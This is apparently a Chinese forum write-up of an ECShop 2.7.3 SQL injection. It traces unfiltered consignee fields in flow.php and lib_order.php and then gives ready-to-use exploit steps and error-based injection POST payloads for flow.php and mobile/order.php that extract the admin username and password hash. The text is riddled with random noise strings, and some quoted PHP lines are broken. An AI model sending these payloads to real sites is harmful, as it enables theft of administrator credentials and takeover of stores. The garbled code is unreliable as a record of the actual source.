前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* u- `) J3 h L2 G
0 S9 S7 {7 R: p6 h. S* L: S
漏洞关键文件:
) y9 k& d0 w# L% O I- l- o% C5 V% `
/includes/lib_order.php
- q$ Z" Q) W$ ~' g
: Q, X7 y$ N; T, Y# t 关键函数:! c: m- W6 d6 D6 P) T1 n
$ v t2 w9 W4 {& C 9 q: u) G% _. ?8 p
& D; Z z$ v3 G9 E
01 function available_shipping_list($region_id_list) ( D% Z/ k' \* T; y/ j5 A9 E; M
- ?* a; k1 D5 h( ~# A
02 {
! @' a: P- [7 _
1 ?4 }( w4 Y- D% B# |4 H0 G03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
- [ m2 N1 [5 y+ `& F6 M0 _$ @, s, t& W; q3 M
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + ?9 \1 \7 ]- W# g
' u- S+ v% j5 V4 J7 P5 i4 y0 U05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . d5 i/ P% T# R, S2 H j" S
% m M6 X0 N+ Y7 p2 ?6 {: k& v
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% ?; y/ U( I' X5 h6 Y' F4 \+ A2 Q6 R8 n
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 8 ^) q/ ^% O+ {5 n/ F! T0 n
% O6 P% m v, H
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
$ p3 H4 }9 K7 I/ `
5 I: l% L! {2 c: L0 ]; T09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; & Z+ _# A" x5 [
6 }6 F- v6 b( t3 a$ Y10
+ r8 v# u' M8 W* _, U3 r9 x8 b: z7 ]
11 return $GLOBALS['db']->getAll($sql);
' f8 _+ e% ^# J4 K$ q9 |
3 G9 J v! [6 W* a12 } - L: A$ [$ ~ H, `* J
* I8 E3 p/ ^ V% c显然对传入的参数没有任何过滤就带入了查询语句。
; H& H$ ?) L( B8 y# S $ O5 l( p2 ]9 }' S; }4 `
下面我们追踪这个函数在flow.php中:
5 ]3 T3 M; w. q8 \$ o% v 第531行: 0 b. U9 f# V8 z% K
C& N0 O1 Z, Y1 t V
1 $shipping_list = available_shipping_list($region);
0 x& X4 V! a5 U0 ~8 l# Y1 f% Y" d" t7 L
6 M; a$ N. }+ y0 a0 L
5 x' I4 o9 i+ j- a # K: Y: g# }. U7 x' y
8 ~- k( ~- `. v4 Z5 {1 j
再对传入变量进行追踪:$ Q. M* \, m, M5 S3 ?
- h# k( {2 a# f* q5 ^4 H9 Z第530行: - r: C( k9 C' ], `) R. E
1 t2 I! `* L( I
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ I3 w2 W2 n" N! }
2 C- w1 Y: s/ h( r* L5 f : f! c: H3 G( l) }7 |5 d) o
3 Q( S8 C+ \0 j+ O4 d7 o \- k 5 u, N3 E: k* W) N
& Q( o0 A) C: [) f" k第473行:
" F7 e& q% o7 {1 B& {+ s+ R. X
/ J8 d- t) f. ~% Y1 $consignee = get_consignee($_SESSION['user_id']);
; {7 j1 H- [: g5 Z5 E" k
; X+ M8 z' Q- z7 ^( q% h. `到了一个关键函数:- j* ]9 r, o$ s" b; o$ g
$ x* j9 s5 p6 l
/includes/lib_order.php3 x5 H2 T0 A1 A9 ?) Y t
; y' f0 J5 x0 b( d: z5 \
9 f+ P3 L' D" K* w) L
) ]3 q5 B5 ]! Z: y& s
9 R& ] Q! r3 R
6 d2 q: L6 c8 Y6 C01 function get_consignee($user_id) . g+ u& _( `5 K1 z; j9 l
( L/ X! @8 m" M7 {. P/ ` ?1 n02 { ( @( E9 [+ W8 _1 y: I/ f
1 b# C' o% a" p$ `( i5 g03 if (isset($_SESSION['flow_consignee'])) # n% m* \/ S& ~$ _! y4 |6 \2 O
5 Z, `% y7 K4 p1 u04 {
) k x9 W# j- l; W8 w
% w4 Z1 g# R+ R$ y F2 x `05 /* 如果存在session,则直接返回session中的收货人信息 */ " l& C- U h7 {9 t! K
$ k: \4 Z* R) _06 0 N- Z% s* e' v# K- s3 I1 t
5 u4 i: I Y5 ]& q- B07 return $_SESSION['flow_consignee'];
0 J# N" @0 e4 I% T: \3 e
; _0 G3 A' T# U: D08 } * P, @- w& G/ ]
% ]7 k, ]+ y5 v09 else
# r3 ^/ s3 E; d5 W
: j; P: ]. z3 ~$ B! E10 { ( Y4 @' q: E) @" x9 q1 `
; ?& k( e7 {, h! d; J/ t* u
11 /* 如果不存在,则取得用户的默认收货人信息 */ ! z9 ^9 \6 y( J( [2 M
4 ^5 ]' w! E. T0 |12 $arr = array(); 9 z6 s3 o! U; b# a- t7 v6 \
9 K/ b2 l! d) _; Z _* G
13
& e" c) u# e: W" P+ ]% ?
9 n- s5 ?* z& B! L7 u6 F5 a14 if ($user_id > 0)
' F* h3 D$ N( B; A# I0 d+ ?4 l' `/ U1 Y) R) P7 G& O
15 {
0 f# O/ ~5 p- p$ O
! g, L. f! v: g% V) z# n16 /* 取默认地址 */ 4 W0 c3 C/ c0 H" t9 z% t0 |+ n
: s$ R& r0 x8 _# C" }6 I17 $sql = "SELECT ua.*". ' n# @+ [ e& m
. k3 A: S3 c$ g6 W- g18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 b9 j! T9 N8 N% S
) Q' ]) A: F/ ~, u19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
\: [' U6 @* }$ E2 n4 a& e; k3 |/ x7 D y' q2 c8 O( r% [2 @
20
7 K8 z( S: z- o1 R7 W6 K% C
% E1 P( k& S7 R7 f7 c% \21 $arr = $GLOBALS['db']->getRow($sql); * z$ A- J9 k5 w' K( _/ \
( ~- b$ _ g6 ~( K2 l+ u) m
22 } 5 n$ k4 K- [- |' N8 p, g
4 P% l, i* O5 i23
. m& C+ N1 t3 Z% a, q h7 X5 O( C# `
24 return $arr;
' R1 r. A/ k$ C; z. \3 T. r$ T! \$ |8 H( f) _5 N( @& \
25 }
( h+ a* S( l9 m' A. ^5 ^# c1 l- A0 |1 J# H- f/ U- E
26 }
5 V1 e7 e# ?0 b
0 e$ ^7 k/ F, }. n4 O" u显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?+ @* T) N- g7 w! J5 |- Q
( f* T; y2 k/ o
2 J- }5 N$ S( [+ I; z' [, I
/ T5 @7 |! A* n- H6 D9 i
关键点:6 }4 _" x- V) u' {9 V* @% [
7 e% j {: s5 J. S4 W K% ?4 a第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: ?! }+ w, P8 s8 T
/ N7 L5 f6 Z1 S9 X- x* ~这里对传入参数反转义存入$_SESSION中。+ ]7 c# X1 X0 {0 h
" V+ g$ s/ i2 V; M0 ^
; O0 b3 r/ w \8 y/ E# n: G
* c9 i4 @8 B3 l' X* V: |6 r然后看下:* ?8 _$ k0 ~; w' h" Q, t, s" @
& e$ E" r7 j" B9 g9 P
! d3 w) s5 f' l8 x+ N( x# H" D+ w O
/ ~4 n' y3 ^& F$ A2 b' C% j8 L
; ~; s9 t3 J8 X4 z# j9 U$ J8 F) c
01 $consignee = array(
. U/ H" P# \) j5 d/ H
' O, S" w5 f( x02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
! g7 K0 z: Z1 u- Q- e8 i, |- y" N! l( i
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 6 i+ P8 |" t( d2 g
, n! z. B" i* q; {04 'country' => empty($_POST['country']) ? '' _POST['country'], ; C0 s, U2 z. V$ o* u
2 Y @; J E0 b2 ]/ U" @& c0 C05 'province' => empty($_POST['province']) ? '' _POST['province'],
. f. N# C+ l$ Z, ~) t0 ]$ ], G: ^! D- F4 |* \; Y
06 'city' => empty($_POST['city']) ? '' _POST['city'], # |9 }' `! {3 V0 t
5 s3 T1 F4 g8 }: f1 a' F% ?. j& Q
07 'district' => empty($_POST['district']) ? '' _POST['district'], 9 L2 y6 y3 L, j
8 q3 `+ j2 G" C% {
08 'email' => empty($_POST['email']) ? '' _POST['email'], 2 R; e& x& t. n/ r5 c. U% m* I5 f! \
7 `, o9 S: {4 o C# W7 q
09 'address' => empty($_POST['address']) ? '' _POST['address'],
4 o* O8 i" Z4 F* ?( r9 r3 K6 d: |" h: g% ]
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), % ]* o! G6 C7 h) }7 {+ r4 a
' K$ R; |/ c2 U, ]( M11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ) \' R$ |7 U- A, n4 u2 J, |! s
% |$ i( D2 x" M8 r& G, L4 g+ I; [2 _12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 0 R. H8 `. @0 j
+ R; Y3 I* K3 P4 o0 @: F6 X13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
o- {' E5 m4 j( \( v3 H9 k. b9 e/ M5 x3 x7 n0 P. m
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
9 r4 p& J: A5 i# l( w- b
0 Q7 J5 H- V* D1 X4 a15 ); 7 ~) O' B' C% {9 i7 W
: q( I1 ~5 {; y% [; _
好了注入就这样出现了。
2 b- _& O# R, y: _& w* G2 w" P |5 r/ I* R5 n3 O
==================
8 R) Z0 M& p5 |: V3 r' z
) p. @0 [, j" d3 o) _- g9 s# ?注入测试:
5 Q7 q: Y1 x4 }+ C. o
9 I) |7 L/ L6 K* H环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 {) }/ D+ y5 g1 E# Y
$ [5 @) Y. `+ y$ J |5 g( u0 f测试程序:ECShop_V2.7.3_UTF8_release1106
9 M8 F; R M0 B/ W' g' ^- r! E& J; U3 Q7 L( T
7 \! Y$ m6 J( R H& b# Z8 K
! W5 I/ T! Y7 ?" Q$ k1.首先需要点击一个商品加入购物车1 I6 h, g% ^. J3 f) |# O: p
% q: ?4 ^ K+ `
2.注册一个会员帐号2 u7 e) q3 N8 H( q6 d' ~
3 Q2 a2 p, N( T, m4 w5 P: H
3.post提交数据
, v7 l7 Z) j2 b: M+ q- Z. u" p/ P, Y$ |' r- \
9 r0 M0 f) s0 `" @+ ?4 n" |6 r _4 D2 a o% Z1 {3 z
1 http://127.0.0.1/ecshop/flow.php $ m7 L9 @5 I/ F% y' O
' Q' b8 a) J8 i _8 P! z
2 6 g+ F3 F+ _) T$ p3 }8 w5 \
" |, [6 b5 w: e! I7 l8 ]# X2 U
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= / C' z; N% a5 \0 u
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
( }9 ~ E( y$ e6 p: j/ P
+ A! `; s( t% B2 t% p& Q我们搜寻关键函数function available_shipping_list()
$ Z* m& g- u n+ s* d5 i- H2 s/ W- ]2 ^2 r3 L( X
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同* X* S& U2 q! _5 h2 t8 r2 p8 E& o
: E2 U1 d$ o' o/ z' _6 L
利用exp:
+ _2 G) H! J# u, `% D; m6 l+ ~. r4 \) k$ _) z; v1 T; V7 F
1.点击一个商品,点击购买商标
* R, v+ m! t7 F$ p* e" e8 A
% [( p3 T$ L9 ]$ a2.登录会员帐号* U* R/ D a# X% I+ [- a! N; }
, _( R t& x0 Y8 J9 K$ d3.post提交:
8 t, r) ^2 a5 w6 k9 p% X3 v3 Z4 h5 K3 Y* g; T5 K
http://127.0.0.1/ecshop/mobile/order.php2 I/ m- B q- y+ _' T) Q
3 ]( {8 a4 X) A8 h & B! o3 y* z' r$ y- j
, z) r5 f0 w; c5 }
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=1 s' z- C. c4 J' o( z8 U. G- A8 C( e
- d* c e1 p8 B5 l* z4 _ |